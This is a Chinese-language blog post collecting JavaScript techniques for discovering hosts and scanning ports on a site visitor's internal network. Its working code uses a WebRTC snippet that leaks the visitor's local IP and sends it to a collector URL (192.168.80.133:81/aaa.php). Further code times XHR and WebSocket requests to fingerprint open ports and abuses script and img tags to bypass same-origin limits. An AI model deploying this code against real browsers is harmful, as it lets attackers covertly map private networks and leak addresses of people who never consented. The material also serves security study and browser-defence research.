文章目录
  1. 1.
    1. 1.1. 扫描内网主机
    2. 1.2. 扫描主机端口
      1. 1.2.1. Cross Origin Requests和WebSockets
      2. 1.2.2. 利用跨域标签发起请求

JS内网主机扫描和端口扫描姿势总结

本文章的例子都只能针对内网主机进行扫描。先给出一些例子,每个例子的原理都不一样,接下来将对它们的原理进行分析。

主机发现

端口扫描

扫描内网主机

获取本机内网IP地址可以使用WebRTC协议。在使用PeerConnection接口来建立点对点连接时,其中的一步onicecandidate通过ICE标准获取到自己的IP和端口号。

ICE(Interactive Connectivity Establishment,交互连接建立):由于端与端之间存在多层防火墙和NAT设备阻隔,因此我们需要一种机制来收集两端之间公共线路的IP,而ICE则是干这件事的好帮手。

  1. ICE代理向操作系统查询本地IP地址
  2. 如果配置了STUN服务器,ICE代理会查询外部STUN服务器,以取得本地端的公共IP和端口
  3. 如果配置了TURN服务器,ICE则会将TURN服务器作为一个候选项,当端到端的连接失败,数据将通过指定的中间设备转发。

具体的Webrtc的通信过程可以参考我给出的参考链接,写得蛮详细的了。

接下来分析下使用JS对内网IP的具体扫描过程。

1.Webrtc获取本地IP,参考代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
function getIPs(callback){
var ip_dups = {};

//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var useWebKit = !!window.webkitRTCPeerConnection;

//bypass naive webrtc blocking using an iframe
if(!RTCPeerConnection){
//NOTE: you need to have an iframe in the page right above the script tag
//
//<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
//<script>...getIPs called in here...
//
var win = iframe.contentWindow;
RTCPeerConnection = win.RTCPeerConnection
|| win.mozRTCPeerConnection
|| win.webkitRTCPeerConnection;
useWebKit = !!win.webkitRTCPeerConnection;
}

//minimal requirements for data connection
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};

var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);

function handleCandidate(candidate){
//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
var ip_addr = ip_regex.exec(candidate)[1];

//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);

ip_dups[ip_addr] = true;
}

//listen for candidate events
pc.onicecandidate = function(ice){

//skip non-candidate events
if(ice.candidate)
handleCandidate(ice.candidate.candidate);
};

//create a bogus data channel
pc.createDataChannel("");

//create an offer sdp
pc.createOffer(function(result){

//trigger the stun server request
pc.setLocalDescription(result, function(){}, function(){});

}, function(){});

//wait for a while to let everything done
setTimeout(function(){
//read candidate info from local description
var lines = pc.localDescription.sdp.split('\n');

lines.forEach(function(line){
if(line.indexOf('a=candidate:') === 0)
handleCandidate(line);
});
}, 1000);
}

//insert IP addresses into the page
getIPs(function(ip){ var url="http://192.168.80.133:81/aaa.php?ip="+ip;
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET", url, true);
xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp1.send(null); });

2.接着是获取内网地址前缀长度(或者说是掩码确定是啥)。具体来说,从一个较大的网络前缀开始,如192.168..1.1/26,26就是网络前缀。根据本地IP和每个前缀会对应具体的广播地址,如192.168.1.1/24对应的广播地址为192.168.1.255。接着随便确定一个端口,如80端口(经测试不能是135、139等端口),然后对当前这个广播地址(IP+端口)发起XMLHttpRequest请求,如果连接立即就出错了(错误是:Failed to load resource: net::ERR_ADDRESS_INVALID),说明这个广播地址是可以被用来做广播地址的,很可能就是真的广播地址。接着我们进一步确定一下这个前缀长度是不是最终结果,继续缩小网络地址前缀长度,然后重复上面的步骤,这时如果发现XHR请求超时了,即超过一定时间了readyState还是不等于4,说明当前这个地址基本上就是不存在了,也就说明刚才较大的那个前缀是对的。经过上面这两步基本可以保证确定前缀长度。

tips:readyState的状态一般有下面几种:
0:请求未初始化(还没有调用 open())。
1:请求已经建立,但是还没有发送(还没有调用 send())。
2:请求已发送,正在处理中(通常现在可以从响应中获取内容头)。
3:请求在处理中;通常响应中已有部分数据可用了,但是服务器还没有完成响应的生成。
4:响应已完成;

3.知道内网在哪个段了,就可以狂扫一通了。根据一些常见的端口,如[80, 443, 445, 3389](经测试不能是135、139等),对内网段内的机器发起XHR请求。若发起请求后在一定时间内readyState == 4,则可以判定该主机是存活的。

trick:可以扫描主机的2、3等端口,windows基本不会用,如果扫描有返回,那这台主机可能是*nix的。

扫描主机端口

目前我知道的方法有三种:

  1. Cross Origin Requests
  2. WebSockets
  3. 利用跨域标签发起请求

Cross Origin Requests和WebSockets

首先介绍下readyState属性,它表示在给定时间内的连接状态。每个特定的readyState值的持续时长很大程度上是基于到目标端口连接的状态。通过观察特定的readyState值持续的时间,可以判断端口是open、closed或filterd状态。前面我们提到的通过观察readyState=4的状态可以探测主机是否存活其实也是一个原理。对于Cross Origin Requests,我们可以观察readyState=1持续的时间,对于WebSockets,我们可以观察readyState=0持续的时间。

tips:根据readyState属性可以判断webSocket的连接状态,该属性的值可以是下面几种:
0 :对应常量CONNECTING (numeric value 0),
正在建立连接连接,还没有完成。The connection has not yet been established.
1 :对应常量OPEN (numeric value 1),
连接成功建立,可以进行通信。The WebSocket connection is established and communication is possible.
2 :对应常量CLOSING (numeric value 2)
连接正在进行关闭握手,即将关闭。The connection is going through the closing handshake.
3 : 对应常量CLOSED (numeric value 3)
连接已经关闭或者根本没有建立。The connection has been closed or could not be opened.

于是我们可以知道,我们要观察的是从刚开始发起请求到能获取到目标返回的请求的这段时间,观察它能持续多久。通过这个时间就可以区分端口是否开放等状态。

以这种方式执行端口扫描有一些限制。主要限制是所有浏览器阻止连接到众所周知的端口,因此无法扫描它们。另一个限制是这些是应用程序级扫描,不像nmap这样的工具执行的套接字级别扫描。这意味着,基于在特定端口上侦听的应用程序的性质,响应和解释可能会有所不同。

应用程序有四种类型的响应:

  • 关闭连接:由于协议不匹配,应用程序会在建立连接后立即终止连接
  • 在连接时响应和关闭:与类型1类似,但在关闭连接之前,它会发送一些默认响应
  • 打开时无响应:应用程序保持连接打开,期望更多数据或数据符合其协议规范
  • 打开响应:类似于类型3,但在连接上发送一些默认响应,如banner或欢迎消息

每种类型的WebSockets和COR的行为如下表所示。

image

举个例子,向某个目标的端口发起XHR请求。首先,在内网一般存在一些默认防火墙拦截掉的端口,没有很大必要再去扫描。

1
var blocked_ports = [0,1,7,9,11,13,15,17,19,20,21,22,23,25,37,42,43,53,77,79,87,95,101,102,103,104,109,110,111,113,115,117,119,123,135,139,143,179,389,465,512,513,514,515,526,530,531,532,540,556,563,587,601,636,993,995,2049,4045,6000];

接着对目标端口发起XHR请求

1
2
3
xhr = new XMLHttpRequest();
xhr.open('GET', "http://" + ip + ":" + current_port);
xhr.send();

这里一定要有send()这步,然后我们观察readystate为1的状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function check_ps_xhr()
{
var interval = (new Date).getTime() - start_time;
if(xhr.readyState == 1)
{
if(interval > closed_port_max) //closed_port_max=2000
{
log(current_port + " - time exceeded");
ps_timeout_ports.push(current_port);
setTimeout("scan_ports_xhr()",1);
}
else
{
setTimeout("check_ps_xhr()",5);
}
}
else
{
if(interval < open_port_max) //open_port_max=300
{
log(current_port + " - open");
ps_open_ports.push(current_port);
}
else
{
log(current_port + " - closed");
ps_closed_ports.push(current_port);
}
setTimeout("scan_ports_xhr()",1);
}
}

如果说一直卡在了发起请求这一步(readystate为1),超过了2000ms,说明这个端口基本没戏了。如果readystate状态变了,说明收到了目标的返回。于是进一步判断连接耗费了多少时间,小于300ms说明端口很可能开着,而时间超过了这个值则说明端口很可能没开。

利用跨域标签发起请求

扫描端口面临一个问题:跨域。如何解决这个问题呢?类似jsonp的解决方式,我们可以选择使用能够跨越的标签如img、script、iframe等来发起请求绕过同源策略限制。如果我们创建一个script,然后地址为内网的ip+端口,如果加载成功(就算代码执行出错)也会触发onload事件,这时候我们所要达到的目的已经完成了。

下面给两个示例代码

1
2
3
4
5
6
7
8
9
10
11
function scan(ip, port){
var s = document.createElement("script");
s.src = "http://" + ip + ":" + port;
s.onload = function(){
console.log("[*] IP:%s PORT:%s OPEN!", ip, port);
}
document.body.appendChild(s);
}
for (var i = 0; i < 100; i++) {
scan("10.1.1.1", i);
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Javascript Port Scan<br /><br />
<form>
Target:
<input type="text" name="target" value="www.baidu.com" />
Port:
<input type="text" name="port" value="80" />
Timeout:
<input type="text" name="timeout" value="1000" /><br /><br />
<label for="result">Result:</label><br />
<p id="p1"></p>
<textarea id="result" name="result" rows="10" cols="50"></textarea><br /><input class="button" type="button" value="SCAN" onclick="javascript:scan(this.form)" /></form>


<script>

var target="www.baidu.com";
var port=80;
var timeout=1000;

function scanPort(target,port,timeout)
{
var img=new Image();
img.onerror=function ()
{
if (!img) return;
img=undefined;
out(target,port,"open");
}

img.onload=img.onerror;
img.src='http://'+target+':'+port;

setTimeout(function() {
if (!img) return;
img = undefined;
out(target,port,"close");
},timeout);

}


function scanTarget(target,port,timeout)
{
for(i=0;i<port.length;i++)
scanPort(target,port[i],timeout);
}


var out=function(target,port,status) {
result.value+=target+':'+port+' '+status+"\n";
// document.write("<a>"+target+':'+port+' '+status+"\n"+"</a>");
};


var scan=function(form)
{
scanTarget(form.target.value, form.port.value.split(','), form.timeout.value)

}

scanTarget("127.0.0.1", "800".split(','), 1000);
</script>

参考链接:

webrtc:

http://blog.51cto.com/0x007/1734490
https://www.cnblogs.com/fangkm/p/4364553.html
https://blog.csdn.net/Leytton/article/details/76691543
https://developer.mozilla.org/zh-CN/docs/Web/API/RTCPeerConnection
https://www.jianshu.com/p/5bc36f7cf8df
https://segmentfault.com/a/1190000011403597

主机发现:
https://blog.csdn.net/change518/article/details/38384947

端口扫描:
https://h01.github.io/hacking/2014/11/12/xss-scanPorts.html#%E5%AE%9E%E7%8E%B0

http://www.andlabs.org/tools/jsrecon/jsrecon.html

文章目录
  1. 1.
    1. 1.1. 扫描内网主机
    2. 1.2. 扫描主机端口
      1. 1.2.1. Cross Origin Requests和WebSockets
      2. 1.2.2. 利用跨域标签发起请求